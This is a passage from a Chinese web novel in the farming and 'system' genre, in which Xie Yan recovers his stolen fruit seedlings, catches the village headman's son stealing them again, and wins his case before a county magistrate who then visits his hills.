宋家人也说听到了饼大饼二在叫,但因为从来没有想过会有人来偷树苗,所以都没有管。
至于其他人,睡得很沉,没有一个听到动静。
问不出个所以然来,谢言只能先让其他人去干活了,他自己在想想会有谁来偷苗子?
可是光靠想根本不能确定,最后谢言脑中灵光一闪,问系统,‘系统,你知道是谁偷了树苗吗?’
系统回了他,‘吴天宝带着人来偷的。’
一听是他,谢言一点不惊讶,他好奇的问道:‘你竟然知道?’
系统回道,‘从商城里买出去的东西都知道。’
谢言又问道,‘那树苗现在在哪儿呢?’
系统回道,‘正在种。’
谢言皱眉,他现在靠水果挣钱,要是吴天宝也种出来了,那他就没有优势了。不是独一份了,天悦酒楼肯定不会给他那么高的价了,或许连合作都要泡汤。
思索再三,谢言决定在晚上摸黑给树苗偷回来。除了这个办法,谢言也想不出别的办法了,因为他没有证据,吴天宝肯定不会承认他偷了他的树苗,而且如果打草惊蛇,他可能连偷都没有办法偷回来了。
秉着这种想法,谢言熬到了晚上,这件事他也告诉了灵秀山的众人,因为他知道吴天宝肯定不会善罢甘休的,他必须跟众人通气,不然万一在村长面前说漏了嘴,那就难收场了。
大家都表示理解,并且都要跟他一起去,不过谢言只喊了许承志一个人一起去,毕竟是去偷东西,人多了容易露馅,万一被抓到了,那才真是跳进黄河都洗不清了。
春天的夜晚还是冷,村民早早就睡了,除了风声一点声音都没有。谢言在系统的指引下找到了种下的果苗。吴天宝分了好几地方种,但在系统的指引下,轻轻松松就全部找完了。今天刚种的,用劲一拔就拔起来了,百来棵树苗,装了满满两大背。
两人回来的时候大家都还没有睡,见两人回来全都迎了上来,见他们平安的回来了,众人都松了一口气,然后趁着夜色,众人一起将树苗又重新栽了回去。
谢言找吴天宝需要时间,但吴天宝找谢言可不需要时间,明天天一亮吴天宝肯定就会找过来,所以他们必须赶在吴天宝找过来之前将树苗种回去。
不过出乎意料的是,第二天吴天宝并没有找过来,一天安安静静的就过去了。晚上吃饭的时候柳梦寒说起了这事,“吴天宝就算找来了也不能证明地里的果树是他的,果树现在在我们地里种着呢。”
沈念白觉得他说得很有道理,昨天谢言就是这样的处境,所以只能去偷回来的。
几人七嘴八舌的说着,都倾向于吴天宝没有办法了,但谢言想起之前在村长家的看到的村长和吴天宝,总觉得他们并不会善罢甘休。于是吃过晚饭,谢言就让大家今天晚上分批睡觉,要留人守夜。
听到谢言的安排,柳梦寒问道:“难不成他们还会来偷啊?”
谢言道:“不怕一万就怕万一。”
如果这一次吴天宝真的有偷走了,那他们绝对偷不回来了。
柳梦寒道:“他都来偷了一次了,知道我们肯定会防范了,傻子才会再来吧?”
谢言道:“不管怎么样,从今天开始,每天都要留人守夜。”
对于谢言的决定,众人向来是支持的,很快就商量好了守夜的人,四个人轮流守。
上半夜平风浪静,安静得只有风吹过树梢的声音,但刚一过子时,饼大饼二的声音就响了起来,谢言一直没有睡着,听到声音猛地就从床上坐了起来,沈念白也连忙坐了起来,低声问道:“真来了?”
谢言起床穿上衣服,压低声音说道:“我下去看看。”
沈念白道:“我也去。”
谢言阻止了他,“你别去了,我去就行了。有事我会跟你说的。”
沈念白也没有坚持,他知道谢言是有自己的考量的,于是他应声,“那你小心点。”
“嗯。”
谢言一下楼,许承志就悄悄过来了,低声说道:“谢大哥,人真来了,我大概看了一下,有五六个呢。”
谢言问道:“没有惊动他们吧?”
许承志回道:“我记住你的话,没有惊动他们。”
谢言掷地有声,“去把人全都叫起来,这一次务必抓他个人账俱获。”
许承志连忙点头,“好。”
许承志去叫人了,谢言就出了门站在院子的石柱旁,石柱高大的黑影将他完全笼罩了起来,他能看到对面,但对面绝对看不到他。
今晚月色很好,月明星稀,谢言看着远处的弯腰拔树的人影,他们的动作很快,一手一根拔起来装在背上的背篓里。
谢言看着突然问了系统,‘这样折腾,树苗还能活吗?’
系统回道,‘系统出品,你放心,只要不是对半折了,都能活。’
谢言又问道,‘我若是想要
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它不活,能行吗?’
系统回道,‘友情提醒,这种情况不退经验值哦。’
谢言一听有戏,又接着问道,‘你能控制活不活?’
系统回道,‘不折腾百分百能活。’
谢言问道,‘就像现在这种情况,假如吴天宝成功了,即便是好的,你也能让苗活不了吗?’
系统回道,‘偷盗是可耻的,若是宿主有需求,系统可以向具体的树苗投毒。’
谢言好奇的问道,‘怎么投?’
系统回道,‘让树苗生病,自然死亡。’
谢言问道,‘多久能死?’
系统回道,‘三到五天不等。’
谢言心里有了底,很快许承志就把所有人都喊起来了,他们站在院子里等着谢言说话,许承志问道:“谢大哥,现在过去吗?”
谢言道:“每个人拿个火把,一定要把所有人都堵住。”
许承志喊了个人去拿火把。
大家拿上火把,谢言还等了一会儿后,见几人扯得差不多了,这才招呼众人慢慢的围了过去。
偷树的几人一门心思偷树,连有人过来都没有察觉,直到上了山谢言才让点了火把,在第一个火把点燃的瞬间,吴天宝几人才终于发现他们被发现了,不知道是谁吼了一声,“快跑。”
火把接二连三的亮了起来,几人对灵秀山不熟,连跑都不知道往那边跑,很快就被围了起来。
谢言从人群后面走进包围圈,对上了愤愤不平的吴天宝。
吴天宝先发制人,“谢言,你昨天晚上偷了我的树苗,今天晚上我只不是过把我自己的东西拿回去而已,你还敢堵我?”
谢言早就想到他的说辞,他道:“这是我的地,是你在偷我的东西。”
吴天宝道:“是你昨天先偷的我的,我只是拿回去而已,我警告你,你赶紧给我让开,不然我让你吃不了兜着走。”
谢言道:“是非曲直,等天亮了,我向官府报案,到时候知县大人自有裁断。”
吴天宝更急了,“你偷我的东西,你还敢报官?”
谢言问他,“你说我偷你的东西,你有什么证据吗?”
吴天宝道:“村里好多人都看见了,我家地里一个个大坑,树苗全都不见了。我找遍了全村,都没有找到,最后在你这儿找到了,不是你偷的是谁偷的?”
谢言道:“我的树苗好好的长在山上,你说是你的就是你的?那按照你的说法,我是不是可以说我家猪圈少了两头猪,只要你家猪圈有两头猪,那就是我的?”
吴天宝辩驳道:“这能一样吗?全村除了你就没有人有果苗,难道我的果苗还能凭空飞了不成?”
谢言道:“我不管你的果苗是飞了跑了还是游了,你也不能来偷我的苗。”
吴天宝无语的吼了一声,“你听不懂话吗,你地里的就是我的苗。”
谢言冷笑了一声,“到底是谁听不懂话,我地里的是我的苗。”
两人僵持到了天明,村长带着人赶来了,谢言也让许承志去县城报官。
84.第 84 章
村长带着一大批村民,大概能有五十来人,气势汹汹的。吴天宝本来坐地上都快睡着了,看到村长来了,立马来了精神,冲村长喊道:“爹。”
村长带着人上前,冷眼看向谢言,“谢言,你这是什么意思?为什么把天宝他们关起来,不让他们回家?”
谢言回道:“吴天宝他们晚上来偷我的树苗,被我当场抓获,我已经让人去报官了。”
吴天宝道:“你放屁,明明是你先偷我的苗,我只是来拿回我的苗。”
谢言道:“树苗在我的地里,不是你说是你的就是你的。”
村长强硬的打断了他的话,“天宝从小就老实,没有说过一句假话。谢言,你为什么偷树苗?”
谢言跟他说不清楚,便也不说了,“我已经报了官,等官府的人来了自会有论断。”
村长冷哼了一声,“报官也是抓你这个小偷,你私自囚禁我儿子,还不给他认错?”
谢言无语地翻了个白眼,没有说话,村长被他的态度激怒了,声音越发的大了,“你还不认错,我把你这地方砸了。”说完就招手,“给我砸。”
此时不放心谢言的沈念白,柳梦寒和王大娘刚刚走过来,一听要砸脸色都很难看,王大娘更是出面阻拦,“不能砸啊。”
“滚开,哪里来的老太婆。”吴天宝一把就将王大娘给推开了,谢言眼眸一凛,眼疾手快的扶住了王大娘。
“您没事吧?”
王大娘朝他摇摇头,抓着他的袖子说道:“不能砸啊。”
听到王大娘的话,吴天宝大笑出声,又喊了一声,“给我砸。”
“哟,这么热闹呢。”
此时一道突兀的声音响了,众人都看了过去,只见钟程台和张佳华带着两个人也上了山。
谢言喊了声,“钟大哥,张哥。”
钟程台笑道:“才几个月不见,你都请了这么多人了?”
谢言解释道:“不是,是来偷苗子的。”
一听这话村长顿时暴怒了,“你说谁是来偷苗子了,你这苗子本来就是我们的。”
钟程台看着地上撒了一地的树苗,露出一副了然的笑意,“你的苗子怎么种在谢言的地里了?”
吴天宝回道:“是他偷了我的苗子。”
听到他的话钟程台震惊得微微瞪大了眼睛,谢言生怕他信了,赶紧解释,“没有的事,是他偷我的苗子,被我发现后还反咬一口,不知道抽什么风,非要我地里的苗子是他的,我不肯说,还要砸庄稼。”
钟程台听了眼睛睁得更大了,村长看向钟程台,“你是谢言的哥,不用说了,肯定是帮他的。”
钟程台问道:“你们想怎么样?”
村长回道:“谢言扣了我儿子一个晚上,我要他认错。”
眼见村长还有虎狼之词没说完,谢言连忙说道:“我已经让许承志去报官了。”
钟程台说道:“哦,我路上遇到他了,让他回来了。”
谢言愣了一下,钟程台回道:“没事,我能解决。”
村长道:“你解决吧。不答应我的要求,我就砸山。”
钟程台扫了一眼山上的情况,又着重看了吴天宝几人,他道:“站着说也说不好,我看几位兄弟眼下青黑呵欠连天,也累得很了,不如就先回去休息。至于认错赔偿什么的,咱们坐下来慢慢说,你看怎么样?”
虽然不知道钟程台是什么意思,但谢言没有说话,灵秀山的人都没有说话,村长看着钟程台眼珠子滴溜溜的转了转,然后说道:“看你是个明事理的人,我也给你个面子。今天我们就先回去把苗子栽了,明天你们到村子里来说。”
钟程台回道:“好,明天我们会准时见面的。”
有了钟程台的话,村长就带着人走了,同时还把树苗给带走了。
等人走远了,谢言才问道:“钟大哥,你怎么让他走了?”
钟程台说道:“你跟他们是说不清楚的,这事我会解决的,你别担心,我今天早上出门得太急,连早饭都还没吃。”
沈念白连忙接了话,“早饭刚做好,回去就能吃了。”
谢言道:“钟大哥,先回去吃饭吧。”
一行人回到了家里,留下山上一片光秃秃的地。
吃饭的时候谢言没忍住又问了钟程台,“钟大哥,为什么不让我报官啊?”
钟程台正吃着饭呢,他停下了筷子与谢言说道:“你去报官县令能来现场吗?你要报官得你你自己写了诉状递到县衙里去。”
谢言道:“那我去写诉状去。”
钟程台问道:“你还会写诉状呢?”
哦,诉状。谢言颇有些尴尬的回道:“不会。”
此时柳梦寒接了话道:“我会。”
谢言道:“那你写一个,我下午拿到县衙去。”
柳梦寒点头应道,“我马上就去。”
钟程台提醒道:“简单明了,不要赘述。”
柳梦寒应声,“我知道。”
钟程台是为了看开荒的进度和庄稼来的,于是吃过了饭谢言就带着他现在院子里看山,给他介绍了现在山上的情况。
一山是主要的耕种地,庄稼,果树都种在一山,只不过他们的人少,一山的开荒进度推进得慢,因为越往山上走,树就越大,砍树挖根就越费劲,所以就慢。
二山现在主要是种花,顺带养鸡养羊,主要也是为了以后开荒的时候少费点劲。
三山现在还在做猪圈,准备下个月在里面养猪的。
一山的庄稼,根据钟程台的要求,主要种的是辣椒和西瓜,其他的都是种来满足灵秀山众人日常的饮食的。至于今年栽的树苗,今年肯定是吃不到果子的,最少也要等一两年过后,树苗长大了结果了才能收成,果树的种类很丰富,现在苗都没了,谢言也就没介绍了。
钟程台听完后还去山上转了一圈,主要是看看开荒是怎么弄的,看了一阵,他说道:“这进度太慢了,我本来还打算多开两个店的,看来是不行了。”
谢言道:“等这件事过了,我就多招些人,尽量把开荒的速度提起来。”
下山的路上,钟程台跟他提建议,“既然越往上越难开,我觉得不用非得一座山一座山开完了在开另外一座山,可以先把其他两座山底给开出来,先利用起来,把产量提高了,在慢慢
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的往上走。”
一山现在还在开山底,远远没有到山腰,开荒主要就是挖树根费劲,其他的都好说。不过钟程台这样说了,谢言还是应了声,“行,我回头看着在安排安排,尽量把产量提上来。”
“我跟你说啊,这一年一年的,时间可不等人。”
“我知道我知道。”
两人闲话着从山上下来,一回来就看到沈念白在院子里站着,脸色很不好,谢言正要问他怎么了,就看见谢复朝和谢逐杨从屋里出来了。
谢复朝看到钟程台连忙就迎了上来,“您就是天悦酒楼的钟掌柜吧?”
钟程台客气的笑了笑,“是,你是?”
听到他的话谢复朝笑得更开心了,他回道:“我叫谢复朝,是这几座山的主人。”
钟程台闻言笑得更开心,“哦?这几座山是你的啊?”
谢复朝回道:“是啊,之前让谢言种的,但这地还是我们谢家的。”
钟程台点头,“原来是这样啊。”
谢复朝说道:“是啊,谢言从小被野狼养大的,什么都不懂,以后啊这灵秀山的生意你跟我们谢家谈就是了。”
沈念白和柳梦寒在旁边听得牙都要咬碎了,沈念白更是直接说道:“这明明是谢言哥的地,怎么成了你们的地了?”
柳梦寒也道:“就是,一座荒山,看到谢言哥开出来了各个都出来抢了,就这么眼红别人的东西吗?是你们的,那你们怎么不来开呢?”
谢逐杨黑着脸瞪着两人,“你们谁啊,我们家的事跟你们有什么关系啊?”
谢言拉起沈念白的手,“他是我夫郎,他的意思就是我的意思。你们当初已经把这三座山给我了,这是我们家的地,有地契的。”
谢逐杨道:“给你了,也能收回去。我们已经准备好了,你要是不腾地,明天我们就给你打出去。”
谢言气急,动手就要打人,“你..”
钟程台拦住了他,“好了好了,咱们兄弟一场,你要是信得过我,就别说话了。”
谢言自然是相信钟程台的,于是他收回了手,站到了旁边。
谢复朝与钟程台笑道:“钟掌柜,这地可真是我们谢家的,可能你不知道,我们谢家祖上出过三品大员。”
最开始答应跟谢言做生意的时候,钟程台就调查过谢言,自然也知道谢家的事。谢家的祖上是出过三品大员,只不过那都是五代往前的事了,谢家可以说早就落寞了,这山的来历不过是他们还去找以前祖上的关系,人家给了三匹荒山的地契打发人。可以说如果不是谢言,这三匹荒山分文不值。
钟程台回道:“我知道。”
听他说知道,谢复朝反而有些惊讶,但很快就镇定了下来,“钟掌柜是个识货的,跟我们做生意绝对比跟谢言做生意划算。”
钟程台笑道:“我是个商人,跟谁做生意都一样,不过我跟谢言相识一场,我好好劝劝他,都是一家人,不用闹得那么难看。天也不早了,明天我正好要去小叶子村,到时候跟你们谈谈具体的分成什么。”
听到钟程台松了口,谢复朝当然是满口答应,欢天喜地的与谢逐杨一起走了。
85.第 85 章
送走了谢复朝和谢逐杨,钟程台一回头就看到柳梦寒一脸愤愤的瞪着他,同时还骂了一句,“卑鄙小人。”
谢言赶紧拦住他,“诶,梦寒,慎言。”
钟程台赶紧解释,“不是你们想的那样,我只是暂时稳住他们,不然真打起来了,咱们有理也没理了。”
柳梦寒根本不信他说的,气冲冲的问道:“那你说怎么办?”
钟程台道:“跟我去县城。”
柳梦寒道:“干嘛?人都走了,谢家人不是刚好来占地了?”
钟程台道:“在你的诉状上加上几句话,拿上,跟我去县城。”
谢言看着钟程台确实不像骗人的,于是他跟柳梦寒说:“按钟大哥说的做。”
柳梦寒不满的嘀咕了一声,“你信他的,迟早要栽。”说完气鼓鼓的去写诉状了。
趁柳梦寒说诉状的时间,钟程台与谢言说道:“念白做的菜不错,一起去县城逛逛吧。”
听这话不大对劲,于是谢言拉着钟程台到旁边,低声问道:“钟大哥,你就老实跟我说吧,你到底打算做什么?”
钟程台道:“这还不明显嘛,去报官啊。”
看着钟程台自信满满的样子,谢言突然就想起了以前张佳华吓唬沈熊的话,“娄知县真是是你表姑父啊?”
钟程台听了他的话瞟了一眼张佳华,察觉到钟程台的视线,张佳华连忙望天去了,随即钟程台才回道:“不是。”
虽然钟程台否认了,但谢言心里已经确定了,娄知县就是他的表姑父,于是也不在问了。
“都听钟大哥的。”
柳梦寒写完了诉状还是气呼呼的,他将诉状递给了谢言,“看看。”
都是繁体,谢言根本看不懂,于是又将诉状递给了钟程台,“我个粗人,不懂这个,只能劳烦钟大哥费心给我看看了。”
钟程台简单的看了两眼,“可以,走吧。”
临走的时候,谢言想起那根挖出来的大人参,“钟大哥等等,我拿点东西。”
谢言回房将人参拿上了,钟程台看他神神秘秘的拿了个盒子,虽然好奇但也没有多问,“走吧。”
这个时候柳梦寒才知道沈念白也要去,于是也想跟着去,但他要是走了,就没有做饭了,而且王大娘也需要有人陪着,于是只能作罢。
临走的时候钟程台与柳梦寒说道:“你在家看好,开荒的事一点不能耽搁。”
柳梦寒没好气的回道:“知道了。”
“走吧。”
一行人回道县城直奔县衙而去,此时天都快黑了,王捕头都下值了,在门口遇到谢言他们,十分惊讶,“谢言,你们怎么来了?”
谢言将诉状拿了出来,“王大哥,我们是来报官的。”
王捕头一听他的话眉头就皱了起来,他接过诉状看了,当即喝道:“真是岂有此理。你们稍等,我这就去找县令。”
王捕头匆匆去了后院,谢言几人就在前堂等着,没一会儿县令就出来了,视线就对上了钟程台,钟程台起身拱了拱手,“县令大人。”
谢言几人也连忙跟着行礼喊道:“县令大人。”
娄县令摆摆手,随即问道:“你们谁是状告人啊?”
谢言回道:“我是。”
娄县令打量着他,“你就是谢言?”
谢言回道:“回县令大人的话,我就是谢言。”
娄县令问道:“你诉状所写是否属实?”
谢言刚要回答,钟程台就抢了他的话,“回县令大人,所写完全属实。”
娄县令没好气的看向他,“跟你有什么关系?”
钟程台回道:“我在现场亲眼看见的。”
听到他的话娄县令就皱了眉,“好好的你跑到那偏僻的地方干什么?”
钟程台回道:“我跟谢言做生意,自然要去看看情况怎么样了。”
听着两人说话的语气,谢言更加笃定了娄县令就是钟程台的表姑父。
娄县令道:“这天都黑了,明天在说吧。”
钟程台道:“十万火急啊,县令大人,正是农忙时节,多一天就少干一天,多大的损失啊。”
闻言谢言也连忙帮腔道:“是啊,县令大人,现在正是播种的时节,耽误了一年就废了。”
娄县令没好气的问道:“你们的意思是今天必须得审理完?”
钟程台道:“县令大人呢,您什么时候审理都行,但吴天宝和谢家人住得那么远,要是明天再去传唤,而且农忙时节白天也不一定在家,还不如晚上就把他们传唤来,明天直接审理。”
“你说得有道理。”娄县令吩咐王捕头,“你现在就带几个人去把诉状上的这几个人全都带回衙门来。”
王捕头应声,“是。”
谢言趁机说道:“捕头大人,我觉得你最好多带几个人,这些人可凶了,他们可敢打人的。”
钟程台也帮腔道:“是啊,连老人家都推呢,一点没人性。”
众所周知,整个灵秀山只有一个老人,那就是王捕头的娘。王捕头一听就怒了,“他们还推老人家?”
说到这事谢言就有点不好意思了,毕竟王捕头送王大娘去养身体的,他没看好还让人推了。
沈念白知道谢言不好说,于是他说道:“嗯,他们要砸山,大娘去拦,就被推了,不过谢言哥接住了,没有摔到地上。”
“真是岂有此理!”王捕头气哄哄的带着人就出发了。
王捕头走了,娄县令道:“行了,明天早上再来吧。”
钟程台笑嘻嘻的说道:“现在正是吃晚饭的时候,县令大人赏脸一起吃个饭吧。”
娄县令抬手拒绝了他,“我已经吃过了,你们回去吧。”
被拒绝的钟程台完全没有尴尬,他自得的样子仿佛已经预料会被拒绝,他回道:“那就不打扰县令大人休息了。”
钟程台说完与谢言他们说道:“我们走吧。”
谢言点了头,跟着钟程台出了县衙,回到天悦酒楼,今日也累到了,几人吃了晚饭就各自睡觉了。
晚上,沈念白止不住的担心,“谢言哥,你说明天咱们能赢吗?”
谢言抱着沈念白的肩膀安慰他,“放心吧,我们肯定能赢的。”
沈念白还是担心,“看起来县令大人与
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钟大哥并不是很熟识的样子。”
谢言道:“就算不熟识这件事也是咱们有理,快睡吧,明天还要早起呢。”
沈念白虽然还是担心,但是想着明天还有这么大的事,也就没有在说话吵谢言了,只不过他翻来覆去的一直到后半夜才睡了过去。
第二天一大早,谢言就醒了,他一动沈念白也猛地睁开了眼睛。
沈念白坐了起来,“什么时辰了?”
谢言回道:“看起来还早,不着急。”
沈念白急得不行,急匆匆的起了床,谢言跟在他后面下了楼。大堂只有零星的几个人在吃早饭,张佳华在柜台里看账本,看到谢言和沈念白,与他俩打招呼,“这么早就起了。”
谢言回道:“张哥说笑了,你都开始干活了我们才起,这可算不上早。”
张佳华笑道:“我习惯了。”说完又说道,“掌柜的说了今天他也要去县衙,你们稍微等等,我去叫他。”
谢言道:“多谢张哥费心。”
张佳华笑道:“都是一家人,说什么客气话呢。你们先吃早饭吧,掌柜的可能不会吃早饭。”
谢言点头,“好。”
小二过来问道:“谢老板要吃什么?”
谢言回道:“来几个包子两碗稀饭就行。”
小二应了一声就去了后厨,很快就将包子和稀饭端了出来。
沈念白没有胃口,谢言劝了他几句但他还是没胃口,谢言也就没有在劝了,自己一个人把桌上的稀饭馒头全都吃完了。
吃完了饭,钟程台才从楼上下来,他看着还没有睡醒的样子,“走,去县衙吧。”
几人来到县衙,王捕头正等着他们呢,见他们来这么早,还有些讶异,“你们怎么来得这么早?”
谢言搞不懂他这话是什么意思,毕竟天都大亮了,在谢言看来着实不算早了,于是他没有说话。
钟程台回了一句,“早点弄完早点回去干活,农忙时节一点也耽误不起。”
听了他的话王捕头也没有在说什么,“我去禀报县令。你们先进来。”
谢言跟着钟程台进了县衙大堂,等了一会儿娄县令就来了,他穿着官府不苟言笑的坐在堂上,问了王捕头,“被告呢?”
王捕头回道:“在大牢。”
娄县令道:“带上来。”
王捕头应声,“是。”
王捕头转身走了出去。过了一会儿就带着村长一家人还有谢复朝谢逐杨上来了,在大牢里待了一晚上,几人的状态都不好,眼下铁青,身上的衣服皱巴巴的,谢复朝的头发上还沾着一根稻草。
几人都蔫巴巴的,娄县令猛地一拍惊堂木,把几人吓得差点抖了起来,连忙跪了下去。
娄县令问道:“谢言状告吴天宝偷树苗,吴大海恶意损坏田地,有这事没有?”
吴天宝在村里耀武扬威的,但现在一个字都不敢说,一个劲的往村长身后躲。
村长吴大海还算沉得住气,他回道:“大人,是他偷的我们的,我们只是去拿回来。只不过路太远了,走到了天黑他们都睡了,所以我们就自己拿了,是他恶人先告状。”
86.第 86 章
娄县令听了就皱起了眉头,“花言巧语,本官问你,既是你的树苗,那苗子从何而来?”
吴大海回道:“是.是我买的。”
娄县令又问道:“从何处买的?”
吴大海正要回答,钟程台开口提醒道:“村长可要好好说,我们可是要去问的,要是说错了,蒙骗朝廷命官可是要挨板子的。”
听到他的话吴大海脸上的汗都下来了,他连忙改了口,“不,不是买的,我记错了,菜苗才是买的,树苗是从山上挖的。”
娄县令问道:“哪座山?”
吴大海回道:“我自家的山。”
娄县令道:“既然是山上挖的,肯定有挖痕,王捕头你带衙役一起去看看,看看有没有挖痕,若是没有,就是恶意欺诈朝廷命官,不仅要挨二十大板,还有坐十年大牢。”
吴大海一听就急了,本来就是随口胡诌的,肯定是找不到痕迹的,他连忙道:“大人,时间久了,我们天天往山上跑,早就把痕迹破坏了,现在去肯定是找不到了。”
娄县令听了他的话,又拍了惊堂木,“三番两次戏弄本官,你把县衙当什么地方了?来人,给我拖出去打,打到他说实话为止。”
王捕头一听,连忙招呼衙役把吴大海拖到院子里,按在刑凳上,拿起棒子就开始打,两棍子下去打得吴大海惨叫不止,吴天宝吓得低着头缩成一团,看都不敢看。
吴大海连忙道:“大人,我知道错了,我说实话,我说实话,别打了。”
王捕头听到他的话眼睛都没有眨一下,依旧挥着棒子打着,直到打满了二十棍他才停了下来,让衙役把吴大海拖进了大堂。
吴大海下身全是血,一点力气都没有了,跪都跪不住,只能趴在地上,不停的惨叫,吴家人连忙去扶他。
娄知县又问道:“说吧,到底是怎么回事?若是还不说实话,就不是二十大板这么简单了。”
我大概这才说道:“是我们偷的谢言的,是谢言又偷了回去,所以我们才又去偷的。”
娄知县问道:“你们还偷了两次?”
谢言连忙辩驳,“我们可没有偷回去,头一天我发现树苗不见了,但我们根本就不知道是谁偷的,正准备第二天重新栽过,但第二天早上我出门一看,丢失的树苗就在院子里了,我才又重新栽上的。”
娄知县听得新奇,“还有这种事?”
谢言点头应声:“回大人,草民所言千真万确,不敢有半句虚言。”
树苗是怎么回来的不在此案中,于是娄知县也没有多问,他道:“既然是你们偷的谢言的树苗,还仗势欺人,恶意损坏田地,赔偿谢言十两银子,吴大海,吴天宝,坐一个月牢。”
吴大海一听要坐牢,连忙求情,但娄知县挥挥手,王捕头就让人把他拉下去了。
除了吴大海和吴天宝,吴家的其他人交了钱就可以回去了,但是没有人带钱,便答应明天给谢言送到灵秀山去,谢言也同意了,吴家人便灰溜溜的离开了县衙了。
吴家的事解决了,又开始处理谢家的事。
谢家的事就更简单了,谢言有地契,拿出来谢复朝就不敢说多余的话了就昨天王捕头的态度他们也知道娄知县肯定是帮着谢言的,两人怕被打就什么都没说就认了。因着两人恶意找茬的事,也判两人蹲了十天大牢。
事情解决了,钟程台与谢言说:“你们先回店里,多做点辣味的菜,中午咱们好好吃一顿。”
谢言应了声,见钟程台没有要走的意思,于是带着沈念白出了县衙。
一出县衙,沈念白就长长的出了一口气,低声说道:“娄知县好吓人,但是也好痛快。”
谢言笑了笑,“当官的不吓人怎么震得住人呢,咱们不做亏心事就不用怕。”
沈念白点头,“也是,只要做好咱们自己的事,不偷不抢就不会找我们的事。”
谢言道:“所以你就把心放回肚子里吧。”
沈念白又问道:“钟大哥怎么不一起走呢,他还有什么事啊?”
谢言摇头,“我也不知道,这些事不关咱们的事,不用管,做好我们手上的活就行,咱们现在赶紧回去做饭吧。”
谢言虽然话是这样说,但他预料到今天中午钟程台应该会请娄知县吃饭,于是一回店他就拉着沈念白去了后厨,开始做饭,把沈念白拿手的菜全都做了一遍,满满一桌子的川菜,连空气都变得鲜香麻辣了。
跟谢言预料的一样,到了午时,钟程台就跟着一身便服的娄知县出现了天悦酒楼,沈念白看到娄知县还是有点局促,就往谢言身后微微走了一步,谢言拉住了他的手,轻轻的拍了拍以示安抚。
知县大人在,谁也不敢多说话,只有钟程台笑呵呵的招呼人,“别站着,都坐下啊。”
谢言陪着笑,“是。”
等到娄知县落了座,谢言暗暗的拉着沈念白坐了下去。席间没别人,就娄知县,钟程台,谢言和沈念白,谢言没见过这种场面,略微有些局促,沈念白就更不用说了,紧张得连筷子都差点拿不住了。
好在钟程台很会活跃气氛,一直在照顾谢言和沈念白。
钟程台道:“姑父,尝尝念白的手艺,我当时吃到的时候简直惊为天人,我酒楼的大厨都没有这么好的手艺。”
听到钟程台毫无顾虑的喊姑父,沈念白看了谢言一眼,谢言递给他一个安心的眼神,沈念白笑了笑,回了句,“钟大哥太抬举我了,主要是钟大哥的材料好。”
钟程台笑道:“你就别谦虚了,我之前还想把让你做我们酒楼的主厨呢。”
娄知县吃了一些菜,点评道:“确实不错,尤其是这辣椒,点睛之笔。”
钟程台知道娄知县对辣椒感兴趣,便将话题引到了辣椒上,他道:“这可是灵秀山的特产,别的地方都没有。”说罢问了谢言,“谢言,你是怎么发现辣椒能吃
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的?”
谢言心想,看来今天又要把山神点化他的故事讲一遍了,只不过他有点担心,要是娄知县是个无神论者,这岂不是要遭殃?但是转念一想,娄知县是钟程台的表姑父,钟程台都知道了,娄知县肯定也已经知道了,在改说法风险更大,于是他思索之后还是说道:“说来离奇,我开化后,无端端的就知道了。”
这话明显引起了娄知县的好奇,他问道:“开化?”
谢言回道:“不怕县令大人笑话,我幼时被野狼叼走一直养到十四岁,跟着野狼进村偷鸡的时候被村民发现,通过滴血认亲才找回了亲人,但我的家人嫌弃从小被野狼养大不通人性,于是给了我三匹荒山断绝了与我的关系。
因为见到了正常的人,我也就知道自己是不正常的,所以我从村里回到山里就存了死志。我绝食了三天,将死未死的时候眼前突然闪过一片白光,白光中出现了长得白胡子,身边有祥云围绕,看着就很庄严,手里拿着一柄如意一个老先生,他伸出手在我眉心点了一下,随即拂尘一甩,一片金光落在了荒山上。
我醒过来后就开了智,原本空荡荡的脑中就被填满了,从此有了安身立命的能力。”
娄知县听得直点头,“奇遇啊真是奇遇,你有这样的造化未来必定能成就一番大事。”
见他信了,谢言从心底猛地生出些庆幸来,幸好是信了,没把他当成怪物。他回道:“我也没有大的抱负,只想好好的守着山,平平淡淡的过一辈子。”
娄知县道:“你倒是实诚的人。”
谢言回道:“不瞒大人,能过上现在的日子我已经很满足了。”
娄知县道:“既然受神仙点化,山上可建了神庙?”
谢言回道:“还未曾。”
娄知县道:“既受神仙点化,应该要建神庙供奉香火的。”
谢言回道:“谨记大人指点,我回去就开始建神庙。”
娄知县道:“赶明儿我也看看去,看看被神仙走过的仙山是什么样子的。”
谢言听罢呼吸都一窒,连忙应道:“大人光临,蓬荜生辉,我们随时等候大人来指点工作。”
钟程台在旁边帮腔道:“择日不足撞日,今天天气不错,不如就今天去看看,现在正是播种的季节正好也指点指点。”
娄知县看着钟程台一脸热切的样子,笑道:“难得见你对什么事这么上心,你姑姑给你物色了好些良家子,喊你去看,你都说没时间,天天往山里跑倒是热络。”
钟程台回道:“这哪能一样,灵秀山是我亲眼看着建设起来的,就跟我第二个家一样,我自然热络了。”
娄知县道:“看在你的面子上,我就去看看。”
钟程台笑道:“姑父你太好了,我马上去准备。”
钟程台给谢言使了个眼色,让谢言招待娄知县,自己就去准备了。毕竟是知县,出行跟他们这些平头百姓肯定是不一样的。
87.第 87 章
钟程台走了,谢言正愁不知道说什么的时候,娄知县说话了,“你被神仙点化的事跟多少人说过?”
谢言回道:“除了钟大哥,就身边一两个亲近的人,没有往外说过。”
娄知县提醒他道:“这种机缘自己心里有数就行了,若是被有心人知道恐怕心生恶意。”
娄知县善意的提醒让谢言心生感激,他忙不迭的应声,“多谢大人提点,我今后一定守口如瓶。”
钟程台的动作很快,一会儿就回来了,“姑父,可以出发了。”
山路难行,只能骑马慢慢走,王捕头亲自牵的马绳。后面跟着十几个衙役和护卫,一路浩浩荡荡的往灵秀山而去。
到了灵秀山,远远的看到谢言的房子,娄知县道:“虽然在深山中,房子还是建得不错。”
谢言回道:“这是我们宋师傅设计的,他很会设计。”
娄知县闻言微笑道:“你这地方倒真是钟灵毓秀,人杰地灵啊。”
谢言笑着回道:“都是有缘偶然聚在一起的。”
到了地方,许承志他们都上山去了,家里只有柳梦寒和宋家人在做饭,突然看到这么多人,都有些不知所措。
谢言赶紧介绍道:“这位是县令大人,来视察工作的。”
一听是县令,几人连忙跪了下去。娄知县抬手,语气和善,“不用多礼,我就是来看看,该忙的就忙自己的去吧。”
谢言给几人使了个眼色,几人就退开了。沈念白也一起去做饭了,灵秀山的人就剩下谢言陪着娄知县,其实他也只是跟着,主要是钟程台在跟娄知县介绍。
